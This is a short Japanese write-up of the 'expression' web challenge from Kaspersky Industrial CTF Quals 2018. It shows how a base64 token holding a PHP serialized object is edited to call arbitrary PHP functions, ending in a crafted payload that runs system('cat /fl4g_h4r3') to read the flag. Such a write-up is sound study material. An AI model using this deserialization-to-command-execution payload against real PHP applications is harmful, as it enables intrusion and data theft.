Kaspersky Industrial CTF Quals 2018 Writeup
2018/11/23 23:00 (JST) ~ 2018/11/24 23:00 (JST)に開催されたKaspersky Industrial CTFの予選を1問だけ解いた(1問だけしか解けなかったともいう)のでWriteupを置いておく。
expression (web)
問題文
http://expression.2018.ctf.kaspersky.com/
解き方
指定されたURLにアクセスすると次のようなページが表示される。
適当な数字を入れてSUBMITを押下すると計算結果とBase64 Encodeされてそうな文字列が表示される。
Share itは次のURLへのリンクになっており、このURLにアクセスすると同じ計算結果が表示される。token
には結果表示画面のTokenと同じ値が入っており、これがセッションを保持するキーもしくはセッションのデータそのものであると推測できる。
http://expression.2018.ctf.kaspersky.com/?action=load&token=TzoxMDoiRXhwcmVzc2lvbiI6Mzp7czoxNDoiAEV4cHJlc3Npb24Ab3AiO3M6Mzoic3VtIjtzOjE4OiIARXhwcmVzc2lvbgBwYXJhbXMiO2E6Mjp7aTowO2Q6MTtpOjE7ZDoyO31zOjk6InN0cmluZ2lmeSI7czo1OiIxICsgMiI7fQ==
ちなみにわざとエラーを発生させるような計算をすると、エラーメッセージが表示され、このWebアプリがPHPで書かれていることとPHPファイルの場所が判明する。
token
をBase64 Decodeすると次のような結果となる。これはPHPのserialize
でオブジェクトをシリアル化した結果に見える。(ちなみに、この表現形式の詳しいことはserialize
のマニュアルのコメント*1に書かれているが、問題自体はこれを読まずとも雰囲気で解ける。)
input = 'TzoxMDoiRXhwcmVzc2lvbiI6Mzp7czoxNDoiAEV4cHJlc3Npb24Ab3AiO3M6Mzoic3VtIjtzOjE4OiIARXhwcmVzc2lvbgBwYXJhbXMiO2E6Mjp7aTowO2Q6MTtpOjE7ZDoyO31zOjk6InN0cmluZ2lmeSI7czo1OiIxICsgMiI7fQ==' >>> base64.b64decode(input) b'O:10:"Expression":3:{s:14:"\x00Expression\x00op";s:3:"sum";s:18:"\x00Expression\x00params";a:2:{i:0;d:1;i:1;d:2;}s:9:"stringify";s:5:"1 + 2";}'
ここで、sum
が入っていた場所にaaa
として/?action=load&token=<変更後のtoken>
で読み込ませると次のエラーメッセージが表示される。
エラーメッセージからaaa
という存在しない関数を呼ぼうとしてエラーになっていることがわかり、sum
つまり、Expression->op
を変更することで任意のPHPの関数を呼び出せるということがわかる。さらにいろいろいじると、Expression->params
が引数として利用されることもわかる。これで任意の関数を任意の引数で呼び出せるようになり、あとはFlagのありかを探すだけとなる。
token
を書き換えて環境変数を見てみたりDocument Rootをlsしてみたりしたが、最終的には/fl4g_h4r3
にFlagが書き込まれていることがわかった。あとは次のように、system("cat /fl4g_h4r3")
を実行するようにtoken
を書き換えればFlagを入手できる。
b'O:10:"Expression":3:{s:14:"\x00Expression\x00op";s:6:"system";s:18:"\x00Expression\x00params";s:14:"cat /fl4g_h4r3";s:9:"stringify";s:6:"21 / 0";}'
KLCTF{f9f091be0ddb1703deb7004798f44709}